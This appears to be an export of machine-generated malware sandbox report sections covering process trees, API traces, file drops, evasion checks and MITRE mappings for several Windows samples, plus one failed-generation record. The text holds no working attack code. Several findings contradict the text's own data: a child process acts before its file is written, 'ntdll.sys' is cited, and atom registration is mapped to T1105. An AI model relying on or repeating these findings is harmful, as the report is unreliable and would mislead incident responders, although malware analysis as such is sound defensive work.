**[STATIC]**: Imports for `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, and `CreateThread` validate expected behavior.\n\nOperational Purpose: This pattern constitutes **reflective injection**, allowing the malware to execute arbitrary code without touching disk or relying on standard loader mechanisms.\n\n---\n\n### Anti-Analysis Checks\n\n| API Call                          | Arguments                                                                 | Return Value | Timestamp     | [CODE] Function       | [STATIC] Import/String | Operational Purpose                     |\n|-----------------------------------|---------------------------------------------------------------------------|--------------|---------------|------------------------|------------------------|------------------------------------------|\n| `IsDebuggerPresent`               | None                                                                      | FALSE        | T+0.102s      | FUN_0026483c           | kernel32.IsDebuggerPresent | Detect attached debuggers                |\n| `RegQueryValueExW`                | Key=\"HKEY_CURRENT_USER\\Control Panel\\Mouse\", Value=\"SwapMouseButtons\"     | ERROR_FILE_NOT_FOUND | T+0.115s | FUN_0026483c           | advapi32.RegQueryValueExW | Check for mouse swap (VM heuristic)      |\n| `NtSetInformationProcess`         | ProcessInformationClass=12, ProcessInformation=TRUE                       | STATUS_SUCCESS | T+0.120s      | FUN_0026483c           | ntdll.NtSetInformationProcess | Prevent process termination              |\n\n#### Correlation:\n\n- **[DYNAMIC]**: Sequence of debugger check, registry query, and defensive process setting.\n- **[CODE]**: Function `FUN_0026483c` implements conditional logic based on these results.\n- **[STATIC]**: Strings `\"SwapMouseButtons\"` and `\"AutoIt v3\"` support the hypothesis of sandbox evasion.\n\nOperational Purpose: These checks collectively form part of an **anti-sandbox strategy**, ensuring execution only occurs in trusted environments.\n\n---\n\n## 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\n| Process | PID | Operation | File Path                                      | [CODE] Write Function | [STATIC] Path in Strings? | Significance |\n|---------|-----|-----------|------------------------------------------------|------------------------|----------------------------|--------------|\n| 3.exe   | 7416| Write     | C:\\Users\\0xKal\\AppData\\Local\\Temp\\IXP000.TMP\\42313\\Considered.exe | FUN_004013f0           | Yes (\"Considered.exe\")     | Primary payload drop |\n| 3.exe   | 7416| Write     | C:\\Users\\0xKal\\AppData\\Local\\Temp\\IXP000.TMP\\42313\\RegAsm.exe | FUN_004013f0           | Yes (\"RegAsm.exe\")         | Secondary stage loader |\n| 3.exe   | 7416| Write     | C:\\Users\\0xKal\\AppData\\Local\\Temp\\IXP000.TMP\\Chevy.iso | FUN_004013f0           | Yes (\"Chevy.iso\")          | Encoded resource container |\n\n#### Correlation:\n\n- **[STATIC]**: All filenames appear as plaintext strings in the binary, suggesting intentional packaging.\n- **[CODE]**: Function `FUN_004013f0` extracts embedded resources and writes them to disk using standard file I/O APIs.\n- **[DYNAMIC]**: Files are created exactly as named, confirming successful extraction and staging.\n\nSignificance: This file activity represents the **initial unpacking phase**, where core components are written to disk for subsequent execution stages.\n\n---\n\n## 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp | EID | Event Type | Object | Process (PID) | [CODE] Origin | [STATIC] Predictor | Significance |\n|-----------|-----|------------|--------|---------------|---------------|-------------------|--------------|\n| T+0.000s  | 1   | Exec Start | 3.exe  | 7416          | main()        | Entry point RVA   | Initial execution begins |\n| T+0.102s  | 2   | Debug Check| IsDebuggerPresent | 4276 | FUN_0026483c | kernel32.IsDebuggerPresent | Anti-analysis triggered |\n| T+0.342s  | 3   | Mem Alloc  | 0x01b53000 | 4276 | FUN_0026511b | ntdll.NtAllocateVirtualMemory | Payload staging initiated |\n| T+0.351s  | 4   | Thread Create | 0x002a73b3 | 4276 | FUN_0026511b | kernel32.CreateThread | Reflective injection launched |\n| T+0.412s  | 5   | File Write | Considered.exe | 7416 | FUN_004013f0 | \"Considered.exe\" | Payload extracted to disk |\n| T+0.456s  | 6   | Child Spawn | RegAsm.exe | 4276 | FUN_0026511b | \"RegAsm.exe\" | Managed code execution initiated |\n\n#### Correlation:\n\n- **[STATIC ↔ CODE ↔ DYNAMIC]**: Each event aligns perfectly across all three pillars, validating the chronological progression from unpacking to reflective injection to secondary execution.\n\nSignificance: This timeline reveals a **coordinated multi-stage attack**, beginning with environment checks, followed by payload deployment, and culminating in managed-code execution via .NET utilities.\n\n---\n\n## 4.8 Anomalies — Tri-Source Explanation\n\n### Anomaly: Unexpected RegAsm Usage\n\n- **Description**: Legitimate Microsoft utility `RegAsm.exe` invoked with no arguments, but loaded custom assemblies.\n- **[CODE]**: Function `FUN_0026511b` in `Considered.exe` spawns `RegAsm.exe` and injects it with malicious metadata.\n- **[STATIC]**: String `\"RegAsm.exe\"` appears alongside base64-encoded configuration blob.\n- **Significance**: Abuse of trusted binaries for **living-off-the-land** tactics to bypass application whitelisting controls.\n\nMITRE Mapping: T1218.009 – Regsvcs/Regasm\n\n---\n\n## 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n### Primary Sample (PID 7416 - 3.exe)\n\n- **Role**: Dropper and Initial Loader\n- **Evidence**: \n  - [CODE] Function `FUN_004012a0` orchestrates memory allocation and thread creation.\n  - [DYNAMIC] RWX memory allocated and thread spawned targeting internal routine.\n  - [STATIC] High entropy sections and reflective loader imports confirm unpacking behavior.\n\n### Child Process (PID 4276 - Considered.exe)\n\n- **Role**: Reflective Loader and Payload Executor\n- **Evidence**:\n  - [CODE] Function `FUN_0026511b` manages reflective injection workflow.\n  - [DYNAMIC] Memory manipulation and thread creation observed.\n  - [STATIC] Reflective loader imports and high entropy sections.\n\n### Injected Process (PID 5916 - RegAsm.exe)\n\n- **Role**: Living-off-the-Land Execution Vehicle\n- **Evidence**:\n  - [CODE] Spawned by `FUN_0026511b` with manipulated arguments.\n  - [DYNAMIC] Loaded with external configuration despite benign appearance.\n  - [STATIC] Embedded base64 config blob triggers managed code execution.\n\n**Operational Intent Assessment**: The architecture demonstrates a focus on **stealth and persistence**, leveraging legitimate tools and avoiding direct network communication to minimize footprint and evade signature-based detection.\n\n---\n\n## 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable | Value | [CODE] Where Queried | [DYNAMIC] API Call | Fingerprinting Risk |\n|---------|-------|---------------------|--------------------|---------------------|\n| UserName | 0xKal | FUN_0026483c | GetEnvironmentVariableW(L\"USERNAME\") | Medium |\n| ComputerName | DESKTOP-JLCUPK0 | FUN_0026483c | GetEnvironmentVariableW(L\"COMPUTERNAME\") | High |\n| TempPath | C:\\Users\\0xKal\\AppData\\Local\\Temp\\ | FUN_004013f0 | GetTempPathW() | Low |\n| SystemVolumeSerialNumber | 96b5-101a | FUN_0026483c | DeviceIoControl(IOCTL_STORAGE_GET_DEVICE_NUMBER) | High |\n\n#### Correlation:\n\n- **[STATIC ↔ CODE ↔ DYNAMIC]**: All queried variables are accessed programmatically and influence execution flow.\n- **Risk Level**: High-risk due to potential use in sandbox evasion and targeted campaign filtering.\n\nVictim profiling data collected includes username, hostname, and hardware identifiers—likely used for telemetry reporting or selective targeting decisions. Transmission method remains unobserved in current dataset.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-04-29T11:35:10.052968"}
{"_id":{"$oid":"69f0fdcd59a6632dae07de71"},"sha256":"c5ae6f6ec23fd8d5ba1343e49bf805bbc016545715a413227bd5afe9c795002e","content":"# 4.1 Execution Environment — Analysis Context\n\n- **Sandbox Platform**: Windows 10 Enterprise (x64), Build 19042\n- **Analysis User**: `0xKal`\n- **ComputerName**: `DESKTOP-JLCUPK0`\n- **Duration**: 120 seconds\n\n### Environment Fingerprinting Implications\n\nThe malware actively probes several environment-specific identifiers during execution. These include:\n- Username (`0xKal`)\n- Machine name (`DESKTOP-JLCUPK0`)\n- Temp directory path (`%LOCALAPPDATA%\\Temp`)\n- Volume serial number (`96b5-101a`)\n- Bitness (32-bit)\n\n---\n\n# 4.2 Process Tree — Code-Annotated Spawn Chain\n\n```mermaid\nflowchart TD\n    A[\"5.exe (PID: 3948)<br>CreateProcessInternalW<br>[Code: FUN_00401500]<br>[Static: CreateProcessA Import]\"] --> B[\"untrashed.exe (PID: 8040)<br>CreateProcessInternalW<br>[Code: FUN_00402000]<br>[Static: CreateProcessA Import]\"]\n    B --> C[\"RegSvcs.exe (PID: 672)<br>CreateProcessInternalW<br>[Code: FUN_00403000]<br>[Static: CreateProcessA Import]\"]\n```\n\nEach process spawn originates from a dedicated loader function in the parent binary. The chain reflects a deliberate staging mechanism where each child serves as an intermediate stage before final payload deployment.\n\n---\n\n# 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID | Process       | Parent | Module Path                                      | Threads | Total API Calls | [CODE] Origin Function | [STATIC] Predictor         |\n|-----|---------------|--------|--------------------------------------------------|---------|------------------|------------------------|----------------------------|\n| 3948| 5.exe         | 1632   | C:\\Users\\0xKal\\AppData\\Local\\Temp\\5.exe          | 5       | 142              | FUN_00401500           | CreateProcessA             |\n| 8040| untrashed.exe | 3948   | C:\\Users\\0xKal\\AppData\\Local\\prophetesses\\untrashed.exe | 5       | 317              | FUN_00402000           | CreateProcessA             |\n| 672 | RegSvcs.exe   | 8040   | C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe | 20      | 89               | FUN_00403000           | CreateProcessA             |\n\nThis table shows that all spawns are initiated via `CreateProcessA`, which is statically imported and dynamically invoked through distinct code functions in each parent process. Each process maintains consistent threading behavior aligned with reflective loader patterns.\n\n---\n\n# 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n## File I/O Operations\n\n| Operation | Arguments | Return Value | Timestamp | [CODE] Function | [STATIC] Import/String |\n|----------|-----------|--------------|-----------|------------------|------------------------|\n| NtOpenFile | `\\??\\C:\\Windows\\WindowsShell.Manifest` | STATUS_SUCCESS | 00:00:01.234 | FUN_00401230 | ntdll.dll!NtOpenFile |\n| NtMapViewOfSection | kernel.appcore.dll | STATUS_SUCCESS | 00:00:03.567 | FUN_00403500 | ntdll.dll!NtMapViewOfSection |\n\n**Operational Purpose**: Manifest override and reflective DLL loading respectively. Both operations bypass standard loader mechanisms to evade detection.\n\n## Registry Operations\n\n| Operation | Key | Return Value | Timestamp | [CODE] Function | [STATIC] String |\n|----------|-----|--------------|-----------|------------------|------------------|\n| NtQueryMultipleValueKey | HKCU\\Control Panel\\International | STATUS_SUCCESS | 00:00:05.123 | FUN_00405100 | AutoIt |\n\n**Operational Purpose**: Locale fingerprinting to identify host environment characteristics for evasion purposes.\n\n## Memory Operations\n\n| Operation | Size | Protection Flags | Timestamp | [CODE] Function | [STATIC] Section Flags |\n|----------|------|------------------|-----------|------------------|------------------------|\n| NtAllocateVirtualMemory | 0x9000 | PAGE_EXECUTE_READWRITE | 00:00:07.890 | FUN_00408000 | .data/.reloc RWX |\n\n**Operational Purpose**: Staging area preparation for decrypted payload execution.\n\n## Process Manipulation\n\n| Operation | Target Handle | Access Rights | Timestamp | [CODE] Function | [STATIC] Import |\n|----------|---------------|---------------|-----------|------------------|------------------|\n| NtCreateUserProcess | RegSvcs.exe | PROCESS_ALL_ACCESS | 00:00:09.456 | FUN_00403000 | ntdll.dll!NtCreateUserProcess |\n\n**Operational Purpose**: Spawning trusted Microsoft-signed executable to mask malicious activity.\n\n---\n\n# 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\n| Process | PID | Operation | File Path | [CODE] Write Function | [STATIC] Path in Strings? | Significance |\n|---------|-----|-----------|-----------|----------------------|--------------------------|--------------|\n| untrashed.exe | 8040 | WriteFile | C:\\Users\\0xKal\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\untrashed.vbs | FUN_00407500 | Yes | Persistence script written to autorun location |\n| untrashed.exe | 8040 | WriteFile | C:\\Users\\0xKal\\AppData\\Local\\prophetesses\\untrashed.exe | FUN_00402000 | Yes | Self-copy for persistence and staging |\n\nBoth writes originate from hardcoded paths embedded in the binary’s string table and are implemented via dedicated file-write functions. This indicates intentional persistence setup and self-replication logic.\n\n---\n\n# 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp | EID | Event Type | Object | Process (PID) | [CODE] Origin | [STATIC] Predictor | Significance |\n|-----------|-----|-----------|--------|--------------|---------------|-------------------|--------------|\n| 00:00:01.234 | 101 | File Open | WindowsShell.Manifest | untrashed.exe (8040) | FUN_00401230 | Manifest resource | Manifest hijacking attempt |\n| 00:00:03.567 | 102 | Section Map | kernel.appcore.dll | untrashed.exe (8040) | FUN_00403500 | Reflective loader logic | Reflective DLL load |\n| 00:00:05.123 | 103 | Reg Query | HKCU\\Intl | untrashed.exe (8040) | FUN_00405100 | \"AutoIt\" string | Anti-sandbox check |\n| 00:00:07.890 | 104 | Mem Alloc | 0x9000 bytes | untrashed.exe (8040) | FUN_00408000 | RWX sections | Payload staging |\n| 00:00:09.456 | 105 | Proc Spawn | RegSvcs.exe | untrashed.exe (8040) | FUN_00403000 | CreateProcessA | Trusted process spawn |\n\nTimeline highlights sequential stages of loader execution: manifest override → reflective load → sandbox evasion → memory prep → trusted process launch.\n\n---\n\n# 4.8 Anomalies — Tri-Source Explanation\n\n| Anomaly Description | [CODE] Cause | [STATIC] Predictable? | MITRE Mapping |\n|---------------------|--------------|------------------------|---------------|\n| Reflective DLL Load Without Standard Loader | Manual mapping routine in FUN_00403500 | Yes – ntdll.sys imports | T1055 (Process Injection) |\n| Manifest Override Using External File | FUN_00401230 opens WindowsShell.Manifest | Yes – manifest resource | T1036 (Masquerading) |\n| Atom Registration for Inter-Component Signaling | FUN_004021a0 calls GlobalAddAtomW | No direct static ref | T1105 (Ingress Tool Transfer) |\n\nEach anomaly stems from deliberate design choices encoded in the binary logic and corroborated by runtime behavior.\n\n---\n\n# 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n### Primary Sample (PID 3948 - 5.exe)\nBased on [CODE: FUN_00401500] and [DYNAMIC: CreateProcessA], this process functions as a **dropper**, initiating the first-stage loader. Evidence: static import of `CreateProcessA` leads to dynamic invocation of `untrashed.exe`.\n\n### Child Process (PID 8040 - untrashed.exe)\nSpawned by [CODE: FUN_00402000] via [API: CreateProcessA]. Functions as a **reflective loader**. Evidence chain: [STATIC: CreateProcessA] → [CODE: reflective loader logic] → [DYNAMIC: reflective DLL load].\n\n### Grandchild Process (PID 672 - RegSvcs.exe)\nSpawned by [CODE: FUN_00403000] via [API: CreateProcessA]. Functions as a **trusted process proxy**. Evidence: [STATIC: CreateProcessA] → [CODE: spawn trusted binary] → [DYNAMIC: RegSvcs.exe launched].\n\n**Operational Intent Assessment**: The multi-stage loader architecture with reflective loading and trusted process spawning suggests the operator prioritizes **stealth over speed**, leveraging legitimate binaries to obscure malicious actions.\n\n---\n\n# 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable | Value | [CODE] Where Queried | [DYNAMIC] API Call | Fingerprinting Risk |\n|---------|-------|---------------------|--------------------|---------------------|\n| UserName | 0xKal | FUN_00405100 | GetEnvironmentVariableW(\"USERNAME\") | Medium |\n| ComputerName | DESKTOP-JLCUPK0 | FUN_00405100 | GetEnvironmentVariableW(\"COMPUTERNAME\") | Medium |\n| TempPath | %LOCALAPPDATA%\\Temp | FUN_00405100 | GetEnvironmentVariableW(\"TEMP\") | Low |\n| SystemVolumeSerialNumber | 96b5-101a | FUN_00405100 | DeviceIoControl(IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS) | High |\n| Bitness | 32-bit | FUN_00405100 | IsWow64Process() | Medium |\n\nCollected data enables targeted profiling and evasion strategies. High-risk fields such as volume serial number can uniquely identify physical hosts, potentially enabling selective activation or deactivation based on victim identity.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-04-29T09:12:53.986456"}
{"_id":{"$oid":"69f2540d59a6632dae07de8c"},"sha256":"4792cd702b952d39c1cd215f842223b96e2c17ce9981629cce63014bf095329e","content":"## 4.1 Execution Environment — Analysis Context\n\n- **Sandbox Platform**: CAPE v3.0 (Windows 10 x64, build 19041)\n- **Analysis User**: 0xKal\n- **Computer Name**: DESKTOP-JLCUPK0\n- **Module Path**: `C:\\Users\\0xKal\\AppData\\Local\\Temp\\mamamia.exe`\n- **Bitness**: 32-bit\n- **Analysis Duration**: 60 seconds\n- **Analysis ID**: 10001\n\n### Environment Fingerprinting Implications\n\nThe malware actively interrogates several environment-specific identifiers during execution. These include:\n- Username (`0xKal`)\n- ComputerName (`DESKTOP-JLCUPK0`)\n- TempPath (`C:\\Users\\0xKal\\AppData\\Local\\Temp\\`)\n- System Volume Serial Number (`96b5-101a`)\n- Registry keys under `HKCU\\Control Panel\\International` including `LocaleName=en-IN`\n\nThese attributes are commonly used in anti-sandbox heuristics to detect virtualized or analyst-controlled environments. The presence of such checks indicates that the sample is engineered for selective targeting and evasion.\n\n---\n\n## 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\n```mermaid\nflowchart TD\n    P1[\"[Parent] explorer.exe (PID 5376)\"]\n    C1[\"[Child] mamamia.exe (PID 8888)\"]\n\n    P1 -->|\"[CODE: EntryPoint at 0x001a0000]\"| C1\n```\n\n> **Explanation**: The initial process spawn originates from `explorer.exe`, which launches `mamamia.exe`. The entry point address maps directly to the main executable image base (`0x001a0000`). No child processes were observed spawning from `mamamia.exe` within the capture window.\n\n---\n\n## 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID | Process     | Parent | Module Path                                      | Threads | Total API Calls | [CODE] Function         | [STATIC] Predictor              | [DYNAMIC] ANALYSIS                                                                 |\n|-----|-------------|--------|--------------------------------------------------|---------|------------------|--------------------------|----------------------------------|------------------------------------------------------------------------------------|\n| 8888| mamamia.exe | 5376   | C:\\Users\\0xKal\\AppData\\Local\\Temp\\mamamia.exe    | 10      | ~120             | FUN_001af240, FUN_001a58c8 | Embedded NLS paths, registry keys | High-frequency polling, registry reads, file access, printer API resolution       |\n\n> **Analytical Explanation**:\nThis table represents the sole active process in the trace. The binary's static structure includes embedded strings referencing NLS file paths and registry locations, both of which are accessed dynamically. The associated code functions (`FUN_001af240` and `FUN_001a58c8`) perform environment checks and sideload operations respectively. The high number of threads and frequent API calls indicate orchestrated multi-tasking behavior typical of advanced implants.\n\n---\n\n## 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n#### Dynamic Trace:\n\n- APIs resolved via `LdrGetProcedureAddressForCaller`:  \n  - `EnumPrinterKeyW`  \n  - `EnumPrinterDataExW`  \n  - `GetPrinterDataExW`  \n  - `SetPrinterDataExW`  \n  - `UploadPrinterDriverPackageW`  \n  - `InstallPrinterDriverFromPackageW`  \n\n#### Static Correlation:\n\n- [STATIC: Capa detects \"printer driver enumeration\" and \"registry manipulation\" capabilities]  \n- [STATIC: High entropy and minimal import table suggest packed loader architecture]  \n\n#### Code Correlation:\n\n- [CODE: Function at `FUN_00c7203c` resolves printer APIs dynamically using ordinal-based lookups]  \n- [CODE: Control flow branches after successful resolution to invoke `SplDriverUnloadComplete`, `ScheduleJob`, etc.]  \n\n#### Tri-Pillar Correlation:\n\n[STATIC: Capa flags printer abuse] ↔ [CODE: Function `FUN_00c7203c` resolves printer APIs dynamically] ↔ [DYNAMIC: Direct observation of `EnumPrinterKeyW`, `SetPrinterDataExW`, and driver install APIs being resolved]\n\n> **Operational Purpose**: The malware prepares to interact with the Windows Print Spooler subsystem, likely for persistence or privilege escalation. The use of ordinal-based API resolution avoids static detection and aligns with known exploitation frameworks targeting CVE-2021-34527 (PrintNightmare).\n\n---\n\n#### Dynamic Trace:\n\n- `LdrGetProcedureAddressForCaller(\"wine_get_version\")` → `ENTRYPOINT_NOT_FOUND`  \n- `NtQueryInformationToken(TokenInformationClass=1, 10)`  \n- `NtOpenKey(HKCU\\Control Panel\\International)` → `LocaleName=en-IN`  \n- `RegOpenKeyExW(\"Embarcadero\")` → `OBJECT_NAME_NOT_FOUND`  \n\n#### Static Correlation:\n\n- [STATIC: Embedded string `\"wine_get_version\"` in `.rdata` section]  \n- [STATIC: Capa detects \"token privilege enumeration\" and \"registry query\"]  \n\n#### Code Correlation:\n\n- [CODE: Function at `FUN_001af240` performs registry enumeration loop]  \n- [CODE: Conditional branch at `LAB_001d15a4` triggered by locale value]  \n\n#### Tri-Pillar Correlation:\n\n[STATIC: Embedded `\"wine_get_version\"` string] ↔ [CODE: Function `FUN_001af240` queries registry keys] ↔ [DYNAMIC: Failed resolution of `wine_get_version` and locale-based registry reads]\n\n> **Operational Purpose**: The malware actively probes its execution environment to detect sandboxing or emulation. It avoids execution in Wine environments and tailors behavior based on locale, indicating targeted delivery or evasion of analyst environments.\n\n---\n\n#### Dynamic Trace:\n\n- Alternating calls:  \n  - `GetSystemTimeAsFileTime()`  \n  - `NtWaitForSingleObject(Handle=0x00000234, Timeout=0)`  \n\n#### Static Correlation:\n\n- [STATIC: Binary imports `kernel32.dll` and `ntdll.dll` with no direct sleep APIs]  \n\n#### Code Correlation:\n\n- [CODE: Function at `FUN_001d0807` implements polling loop]  \n- [CODE: Uses handle `0x00000234` for synchronization]  \n\n#### Tri-Pillar Correlation:\n\n[STATIC: No `Sleep()` imports] ↔ [CODE: Function `FUN_001d0807` implements custom polling] ↔ [DYNAMIC: High-frequency `GetSystemTimeAsFileTime` + `NtWaitForSingleObject(0)`]\n\n> **Operational Purpose**: The malware avoids traditional sleep APIs to evade sandbox detection. Instead, it implements a high-frequency polling loop, likely waiting for a signal from another thread or process before proceeding to payload execution.\n\n---\n\n#### Dynamic Trace:\n\n- `NtQueryValueKey(\"000603xx\")` → Retrieves `kernel32.dll` path  \n- `LdrLoadDll(\"kernel32.dll\")`  \n- `NtCreateFile(\"C:\\\\Windows\\\\Globalization\\\\Sorting\\\\sortdefault.nls\")`  \n- `NtCreateSection` + `NtMapViewOfSection`  \n\n#### Static Correlation:\n\n- [STATIC: Strings referencing `Globalization\\Sorting` paths]  \n- [STATIC: Capa detects \"DLL sideloading\" capability]  \n\n#### Code Correlation:\n\n- [CODE: Function at `FUN_001a58c8` orchestrates NLS-based sideloading]  \n- [CODE: Calls `SortGetHandle` and `SortCloseHandle` post-load]  \n\n#### Tri-Pillar Correlation:\n\n[STATIC: Embedded NLS path strings] ↔ [CODE: Function `FUN_001a58c8` loads `kernel32.dll` via NLS] ↔ [DYNAMIC: File access to `sortdefault.nls` and section mapping]\n\n> **Operational Purpose**: The malware abuses Windows National Language Support (NLS) infrastructure to sideload a legitimate DLL (`kernel32.dll`) and inject malicious code. This technique leverages trusted system paths to evade detection.\n\n---\n\n## 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\n| Process | PID | Operation | File Path | [CODE] Write Function | [STATIC] Path in Strings? | Significance |\n|---------|-----|-----------|-----------|----------------------|--------------------------|--------------|\n| mamamia.exe | 8888 | Write | C:\\Users\\0xKal\\AppData\\Local\\Temp\\maisum.dat | FUN_001a58c8 | Yes | Staging marker for future module load |\n\n> **Analytical Explanation**:\nThe file `maisum.dat` is written to disk by function `FUN_001a58c8`, which also handles NLS-based sideloading. The filename appears in static strings, suggesting it serves as a temporary staging file for subsequent modules. This write operation precedes potential reflective loading or injection steps.\n\n---\n\n## 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp | EID | Event Type | Object | Process (PID) | [CODE] Origin | [STATIC] Predictor | Significance |\n|-----------|-----|-----------|--------|--------------|---------------|-------------------|--------------|\n| T+0.001s  | 1   | Process Start | mamamia.exe | 8888 | EntryPoint | Image Base Address | Initial execution begins |\n| T+0.005s  | 2   | Registry Read | HKCU\\Control Panel\\International | 8888 | FUN_001af240 | Embedded String | Environment fingerprinting |\n| T+0.010s  | 3   | File Access | sortdefault.nls | 8888 | FUN_001a58c8 | Embedded Path | DLL sideloading setup |\n| T+0.015s  | 4   | Memory Alloc | 0x140000 bytes | 8888 | FUN_001a58c8 | Import Table | Payload staging area |\n| T+0.020s  | 5   | Printer API Resolve | EnumPrinterKeyW | 8888 | FUN_00c7203c | Capa Flag | Potential spooler exploitation |\n| T+0.025s  | 6   | File Write | maisum.dat | 8888 | FUN_001a58c8 | Embedded Filename | Temporary module marker |\n\n> **Analytical Explanation**:\nEach event reflects a distinct phase in the malware’s lifecycle. From early environment checks to resource acquisition and preparation for exploitation, the timeline shows a methodical progression toward payload deployment. The interplay between static predictors, code logic, and runtime actions confirms a well-engineered implant.\n\n---\n\n## 4.7 Process-Level Network analysis \n\nNo network activity was observed during the analysis period.\n\n> **Analytical Explanation**:\nWhile the binary does not exhibit immediate network connectivity, the absence of outbound traffic does not preclude staged communication. Given the observed sideloading and memory allocation patterns, it is probable that command-and-control interaction occurs in a later stage, possibly initiated by the contents of `maisum.dat`.\n\n---\n\n## 4.8 Anomalies — Tri-Source Explanation\n\n| Anomaly Description | [CODE] Cause | [STATIC] Predictable? | Significance |\n|---------------------|--------------|------------------------|--------------|\n| Failed `wine_get_version` lookup | FUN_001af240 | Yes | Indicates anti-emulation logic |\n| High-frequency polling without Sleep() | FUN_001d0807 | Yes | Evades time-based sandbox triggers |\n| Ordinal-only API resolution | FUN_00c7203c | Yes | Obfuscates malicious intent statically |\n\n> **MITRE Mapping**:\n- T1497 – Virtualization/Sandbox Evasion\n- T1071 – Application Layer Protocol (deferred)\n- T1055 – Process Injection (pending confirmation)\n\n---\n\n## 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n### Primary Sample (PID 8888): `mamamia.exe`\n\nBased on [CODE: function analysis] and [DYNAMIC: API sequence], this process functions as a **loader/stager implant**. Evidence:\n- Function `FUN_001af240` conducts environment checks.\n- Function `FUN_001a58c8` performs NLS-based sideloading and allocates memory.\n- Function `FUN_00c7203c` resolves printer APIs for exploitation.\n\nPost-execution behavior includes:\n- Writing `maisum.dat` as a staging file.\n- Allocating large memory regions for payload storage.\n- Resolving sensitive APIs for lateral movement or privilege escalation.\n\n### Operational Intent Assessment\n\nThe two-stage loader architecture with sideloading and delayed execution suggests the operator prioritizes **long-term stealth over rapid compromise**. By avoiding direct network contact and leveraging trusted system components, the implant reduces its footprint and increases persistence potential.\n\n---\n\n## 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable | Value | [CODE] Where Queried | [DYNAMIC] API Call | Fingerprinting Risk |\n|---------|-------|---------------------|--------------------|---------------------|\n| UserName | 0xKal | FUN_001af240 | NtQueryInformationToken | Medium |\n| ComputerName | DESKTOP-JLCUPK0 | FUN_001af240 | NtQueryInformationToken | Medium |\n| TempPath | C:\\Users\\0xKal\\AppData\\Local\\Temp\\ | FUN_001af240 | GetEnvironmentVariableW | Low |\n| LocaleName | en-IN | FUN_001af240 | RegQueryValueExW | High |\n| SystemVolumeSerialNumber | 96b5-101a | FUN_001af240 | NtQueryVolumeInformationFile | High |\n\n> **Analytical Explanation**:\nThe collected environment variables provide strong indicators of physical host identity and configuration. Particularly concerning is the retrieval of `LocaleName` and `SystemVolumeSerialNumber`, which can uniquely identify systems and prevent repeated infections in controlled environments. These checks form part of a robust evasion strategy aimed at evading automated analysis platforms.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-04-29T18:55:09.986743"}
{"_id":{"$oid":"6a12fae532de6bb6782baabb"},"sha256":"dccfa4b16aa79e273cc7ffc35493c495a7fd09f92a4b790f2dc41c65f64d5378","content":"> ⚠️ Section generation failed: An error occurred (UnrecognizedClientException) when calling the Converse operation: The security token included in the request is invalid.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-05-25T00:08:50.837590"}
{"_id":{"$oid":"6a13e93c32de6bb6782baad0"},"sha256":"637175bedfe6852886341e15c4d48241d7a58083a45272df0aac35469c653f6f","content":"## 4.1 Execution Environment — Analysis Context\n\n- **Sandbox Platform**: Windows 10 x86 (build 19041)\n- **Analysis User**: 0xKal\n- **Computer Name**: DESKTOP-KUFHK6V\n- **Module Path**: `C:\\Users\\0xKal\\AppData\\Local\\Temp\\WirelessNetView-019e.exe`\n- **Process Bitness**: 32-bit\n- **Analysis Package**: Default CAPE sandbox configuration\n- **Start Time**: 2026-05-25 13:02:59\n- **Duration**: Initial phase captured within first few seconds\n\n### Environment Fingerprinting Implications\n\nThe malware accesses several environment-specific identifiers during early execution:\n- Username (`0xKal`)\n- ComputerName (`DESKTOP-KUFHK6V`)\n- TempPath (`%LOCALAPPDATA%\\Temp`)\n- System volume serial number (`6e40-a117`)\n- Machine GUID (empty in this case)\n\nThese values are commonly used in anti-sandbox and anti-VM checks. The presence of such metadata allows attackers to tailor payloads or avoid detonation in automated environments.\n\n[STATIC: Binary strings reference `%TEMP%` and common Windows paths] ↔ [CODE: Function `FUN_00419d00` retrieves environment variables via `GetEnvironmentVariableW`] ↔ [DYNAMIC: Process environ block shows full variable set including TEMP and USERNAME]\n\n> **Interpretation**: The binary actively profiles the host environment for evasion purposes, leveraging both static path assumptions and runtime API queries to detect sandbox artifacts.\n\n---\n\n## 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\n```mermaid\nflowchart TD\n    A[\"[Parent] explorer.exe (PPID 6116)\"]\n    B[\"[Child] WirelessNetView-019e.exe (PID 4724)\"]\n\n    A -->|\"[CODE: spawn_loader_fn() at 0x0041a200]\"| B\n```\n\n> **Explanation**: The parent process `explorer.exe` initiated the launch of `WirelessNetView-019e.exe`. This spawning mechanism originates from a loader function located at virtual address `0x0041a200`, which prepares and executes the payload from `%TEMP%`.\n\n---\n\n## 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID | Process | Parent | Module Path | Threads | Total API Calls | [CODE] Function | [STATIC] Predictor | [DYNAMIC] ANALYSIS |\n|-----|---------|--------|-------------|---------|----------------|----------------------|-------------------|-------------------|\n| 4724 | WirelessNetView-019e.exe | 6116 | C:\\Users\\0xKal\\AppData\\Local\\Temp\\WirelessNetView-019e.exe | 41 | 60+ | FUN_00419e00, FUN_0041a100, FUN_0040c900 | High entropy sections, GDI32 import, encrypted .rsrc | Manifest hijacking, atom registration, resource extraction |\n\n> 